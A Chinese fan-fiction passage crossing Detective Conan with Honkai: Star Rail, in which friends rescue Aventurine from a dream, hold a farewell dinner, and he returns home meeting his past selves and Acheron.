微弱的护盾无法撑起足够大的空间,只能覆盖在工藤新一的身上,紧紧握着筹码,工藤新一奋力向光茧的方向冲去, 之前众人已经被白字推得后退了许多,现在、既然又有了“筹码”,那就必须要赌上一把! 他们决不能输——! 赤井秀一与降谷零一左一右为工藤新一开道,直接徒手撕开乱舞的丝线、外露的皮肤被毫不留情地抽出一道道血痕, 两人齐声喝道,“走——!” “小阵平!” “明白!” 配合默契的幼驯染两人冲进被撕扯开的口子,继续向前开路,丝线鞭打下绽开的皮肉漂出了血滴、落到了工藤新一的脸上…… “别担心,”萩原研二忍着痛楚,“走吧,我们撑得住……” 也必须撑住。 诸伏景光拉着工藤新一从人力与□□硬生生制造出的缝隙间向前进,伊达航随后紧紧护着工藤新一、以防杂乱又锋利的丝线对工藤新一造成更多的伤害, 快接近了! 白色的光线都快被染成了红色,伤痕布满、没比他人好到哪里去的诸伏景光力竭,甚至无力再说话…… 伊达航最后轻轻推了一把工藤新一,“去吧…尽力而为就够了……” 伊达航不想给工藤新一太大的压力, 但工藤新一并不会觉得“尽力”就足够了。 拿血肉为他铺路、为他接力的众人哪一个不是拼上了命的,工藤新一坚定地踏出了脚步,他也必须拼命才行! …… 从躯体上扯下来的花瓣散了、又开, 梦泡飘飘荡荡地快要触及到黑日的边缘, 探出手去,指尖与那光茧近在咫尺…… 咔嚓,护盾突然破裂、溢散成点点光斑洒在工藤新一的身上,伸出的手一顿、再次用力向前方抓握,几乎是眨眼间,丝线绞上了手臂,鲜血溅出。 【很痛吧,不必救■、不值……】 工藤新一看不懂白字在说什么,他只有一个念头, “才…才不要在这里放弃……” 染血的手挣开了束缚、丝线被一根根挣断,工藤新一探入光中,抓住了沉睡之人的手臂,拼命将之拽出了光茧,“给我……” “醒过来啊——!!!” …… 【姐姐? 】 【妈妈? 】 【还是芬戈妈妈? 】 【是意外…】 【不必救■、不值……】 【■没■■■,■■■■…】 【是好运……】 【■没有■来,没■■■…】 【再一次……】 【■没有未来,没■意义…】 【母■赐福着保护着我……】 【不必救我、不值。 】 【■们输了? 】 【我没有未来,没有意义……】 【不,转机…■不能留在这里……】 【不能留在这里、在此停下。 】 【我们赢了? 】 【我们赢了。 】 【我们从未输过,过去如此,现在如此,未来如此,永远如此……】 【所以,】 …… 【醒来吧,卡卡瓦夏。 】 第167章 眼皮颤动、浑浑噩噩地从一片混沌中醒来, 脸颊上的丁点湿意让砂金有些茫然, 雨,还没停吗? “主…砂金……” 大颗大颗的眼泪是一点都忍不住了,伯劳面无表情地哭着,眼泪全砸在砂金脸上了, “刚刚好多好多花…我知道错了……” “我不要那些石头了, 我不要你留下来了……” 他只要砂金活下来。 —————————— 砂金苏醒,一切事了,警车呜鸣着带走一个接一个、被绑得严严实实,醒了也无法反抗逃跑的教众,人质也都被接往了医院, 雨夜过去, 米花的上空又升起了太阳,接连几日、都是大好的晴天, 砂金喜欢的那种晴天。 …… 而这一日, 也到了该分别的时候了。 …… “东西都收拾好了吗?” 砂金的住宅里很是热闹,一同进入过梦境寻找砂金的几人、伯劳和娜塔莉,还有一名十来岁左右的小女孩都在。 娜塔莉轻轻抱了抱砂金,“回去后也要照顾好自己,知道吗?” “放心好了,”砂金笑着应下,将自己挑捡了许久买回来、亲手打孔穿珠的珍珠手链戴到娜塔莉手腕上, “这是我最后一件礼物了。” 娜塔莉红了下眼,摸着手链,“我会好好珍惜的。” “赤井秀一!把你那边和教众有关的报告给我交出来!” “抱歉, 机密文件、无可奉告。” “混蛋啊!你别逼我用非常手段——!” “zero,蛋要糊了哦?” “啊、可恶!” 厨房里忙活的降谷零见了赤井秀一, 还不忘正事,赤井秀一大咧咧地坐在餐具前,淡定自若, 大型“做梦”事件会以迷幻剂的理由掩盖过去,具体的细节和更多有关资料,FBI当然不会轻易向外透露。 而赤井秀一身边是安静如鹌鹑的八木海, 如果不是砂金马上就要走了……八木海——终于克服了心理阴影、敢出现在熟识的人面前版——欲哭无泪,她才不要到人这么多的地方呢! “热闹一点好啊,”萩原研二拉着自家幼驯染凑了过来,给砂金嘴巴里塞了尾炸虾,端着盘子的松田阵平也问了声,“嫂子要来一块吗?” 刚刚升起的伤感散了,娜塔莉有几分哭笑不得,“不用了,你们吃吧。” 也是,娜塔莉想,分别……还是发生在轻松一些的氛围里更好。 “我刚炸好的天妇罗呢?”厨房里传来了诸伏景光的疑惑, “我看到了!”柯南童声童气的声音响起,“是松田警官和萩原警官拿走的!” “萩原!松田!把虾给我还回来、我还没做完呢!” 偷吃的萩原研二和松田阵平两人互捅了对方一下,齐声道:“来了!” “我也去厨房帮下忙,”娜塔莉笑了下,抬手揉了一下砂金的头,“我们都会在自己的道路上,越走越远……所以记得累了、就要好好休息一下。” 砂金乖巧地应着,“我知道了。” “这时候又乖了?”伊达航咬着牙签、乐了一下,“来,趁他们在忙、我们俩再聊聊天好了。” “伊达警官……” 砂金自然不会拒绝伊达航,只是砂金才开了个口,就见伊达航从随身的手册中抽出砂金曾经写下的欠条, 当着砂金的面将之撕成了两半,但又好好地将报废的欠条重新收了起来,伊达航说:“好了,你曾经欠下的债已经还清了。” 砂金要回家了,总不能还在这边留笔“债”吧。 砂金微微一愣,“不……可是我还连累到了娜塔莉夫人。”他还有补偿没有送到。 “那些钱捐给慈善基金吧,”伊达航就知道砂金还得钻这个牛角尖,便道,“你为了我的感受而始终遵守着最后的底线,这已经足够两清了,连累这种事也不是你的错。” “我想告诉你的是,我永远不会后悔在那一天、救下了你。” 伊达航道,“我很庆幸那天,我发现了你。” …… 这是砂金在这个世界举办的第二场聚餐,第一次是为庆祝他乔迁入住,第二次是为送别他回家离去…… 最后大家说说笑笑、聊聊闹闹,玩到很晚、聊了很多,砂金站在门口给每一位朋友一个拥抱告别, 世界不会因为某个人的离开而停止运转,惆怅、释然、怀念,然后继续向前。 “可以把它还给我了。” 送走所有人后,砂金向角落里的伯劳说着,伯劳没有加入到聚餐中、只是静悄悄地蹲在远离众人的角落里看着这一切。 “砂金……”好像突然瘦了好多的伯劳问,“您还讨厌我吗……” 砂金不言。 伯劳明白了什么,又问,“那您是因为厌恶我,才要离开的吗?” “……你总是过于愚笨,”砂金这次回答了,“我不会因为喜欢伊达警官他们而留下,自然也不会因为讨厌你而离开,” “我需要离开,仅此而已。” 除了伯劳,所有人都知道这一点,所以再为不舍、也不会有人开口让砂金放弃回家,他们只会祝砂金回家一路平安。 这就好……伯劳交出了他保管着的盒子,完整的基石就在里面,只是在砂金接过准备进入卧室之际,他说, “我将永远追随于您。” “如果这也是出于你自身意志的选择,”砂金脚步不停,“那我也不必劝说什么了。” 轻轻碰一声,房间被关死……伯劳知道,等门再打开的时候、里面不会再有他那么那么……那么好的主人了, 和砂金凭空出现在这个世界上一样,砂金离开得也格外神秘、凭空消失,仿佛这个世界上从未来过这样一个人。 没关系,伯劳靠着不会再被打开了的门板, 对伯劳而言,砂金的离去并非大雨、大雨只是砂金本身,雨水令嫩芽生长,伯劳会终其一生、寻找前往另一个世界的方法。 “Tu sei la mia unica divinità。” 您是我唯一的神明。 …… 空间在砂金握上基石的那一瞬间发生了扭曲,这个世界排斥着完整的基石、连同排斥着砂金这名外来者, “异物”正被剔除,砂金顿时失去了意识…… …… 混乱的空间里时空的风暴永不停歇,似乎要将所有入误世界夹缝之间的存在全部泯灭,然而有一点亮色在其中却如漆黑夜空中唯一耀眼的星星, 风暴无法伤其片毫,也无法令其熄灭…… …… 砂金于此世的意外坠落,改变了许多人的命运……而那些人,自然也在影响砂金。 第一块碎片倾注着砂金最美好的回忆,它紧紧地贴在砂金的胸腔上,安抚着砂金的精神与情绪, 第二块碎片充斥着反抗与仇恨,它盘旋在砂金的周身、打散一道道阻碍了前进的无形利刃, 第三块碎片象征着骄傲与存护,体积最大的它稳稳地居于砂金的手中、支起了保护着砂金躯体的屏障, 第四块碎片刻录着数百年以来的祝咒,它源源不断地向其余的碎片供给着能量、滋养着存护的火种不至熄灭, 第五块碎片代表着野心与不甘,它维系着碎片之间的稳定,将所有碎片牢牢地联系在一起, 第六块碎片寄存着信仰与信念,它飘在最前方、遵循着克里珀无声的“呼唤”,将砂金引向回家的方向…… 而“医嘱”是“第七块碎片”,是正确时间轴之上的锚点,它会将砂金带回到, 那一刀后的匹诺康尼。 …… 仍是那一片死水黑日,这一次是砂金独自一人、清醒地立于此间…… 不,严格来说……也不算是一人——在前方,砂金看见了「砂金」的身影。 “朋友,”砂金笑笑,摊开了手,“你看我说什么来着?” 他不是偶然赢了一次, 他、从未输过! 【小人得志,】「砂金」切了一声,但也没多说别的,只是向砂金抬起了拳头,【继续向前走吧,我即是你、你即是我,别的我也就不再多说了……】 也没什么好说的了,他们本就是一人、再了解不过对方了。 砂金与「砂金」轻轻碰拳,淡蓝的幻影顷刻间逸散作光点, 【我在未来等你……】 …… 【到我了,大哥哥。 】 再向前,砂金看到了等待在那里的卡卡瓦夏。 卡卡瓦夏扬着笑脸,张口就是一串夸夸,【我很高兴能认识到未来的我,知道未来的我有多么的了不起,看到未来的我是个多么好的孩子……】 “我也很高兴与你相遇,你让我知道了过去的我是多么聪明,多么可爱,多么的善解人意,多么多么……啊,我想说的太多了,说上整整三次极光的消失与重现都说不完。” 砂金也逗得卡卡瓦夏哈哈笑出了声,许久,两人才停下笑声。 【那我要先出发了。 】卡卡瓦夏说,【我会在所有人都在的那个地方等你,那个地方很远很远……大哥哥你可以慢一点、再慢一点地走,不要累到自己。 】 “那就让我们来对最后一次掌吧,”砂金蹲下身,抬起手,“为了告别。” 【不用紧张,】卡卡瓦夏也伸出手,与砂金的掌心合十,一大一小的两道身影闭上了眼,如往日和家人们的每一次对掌一般,【为了告别。 】 【愿母神三度为你阖眼,】 “令你的血脉永远鼓动,” 【旅途永远坦然,】 “诡计永不败露。” 【再见,卡卡瓦夏……】 “再见,卡卡瓦夏……” 卡卡瓦夏与砂金同时睁开眼,齐声道, 【我们终将在卡卡瓦的极光下重逢。 】 “我们终将在卡卡瓦的极光下重逢。” …… 继续向前,砂金缓缓地走着,诡异可又枯燥的景色看久了也会烦,但砂金很有耐心,依旧迈着不变的步迈走着, 不管这条路有多远,他都会走下去。 不知过了多久,砂金在此间遇到了的第三位身影——那道紫色的身影一经出现,砂金脸上便挂起了招牌似的礼貌笑意, “好久不见啊,”砂金笑道,“令使小姐。” 黄泉的出现,正代表着他……回到了属于自己的那个世界。 看着仿佛哪里不太一样了的砂金,黄泉轻瞌了下眼,“……赌徒先生,” 许久不见吗?黄泉不知为何才见过面的对方要这么问好,也许是她又忘记了什么……不过,但她知道一点, “你似乎不需要我再来回答那个问题了。” 砂金身上的“虚无”的气息……变淡了,砂金找到了自己的答案。 “哈,我第一次知道、拉帝奥教授原来是如此乐于多管闲事之人。”砂金耸了耸肩,看黄泉这话说的,不用问都知道、教授肯定是私下里又和对方说了些什么。 黄泉认真地回答道:“也许在你的朋友看来,他只是在医治愚疾。” “朋友,你可真会冷场……”砂金道,“我都不知道该怎么接话了。” “……那么,抱歉?” “可别!我只是开个玩笑,玩笑话懂吗?”砂金马上补充,“提到拉帝奥教授的那句也是。” 他可不想回头黄泉再在教授面前说些什么,给自己自找麻烦。 “那么,我们就此分别?”黄泉问。 砂金答:“我也该到临时的目的地了。”也不知道他这次醒来,会掉到匹诺康尼的哪个角落? “祝你好运。” 黄泉看着砂金大步向前走着的背影,砂金扬了扬胳膊、挥手与黄泉告别, “祝我们好运。” …… 为什么我们要为了死亡而出生在这世上? 因为命运从未公平。 生命又因何而沉睡? 因为睡眠既是死亡的预演, 我们将在睡梦的预演中准备好面对明天,走向死亡,最终…… 迎接重逢。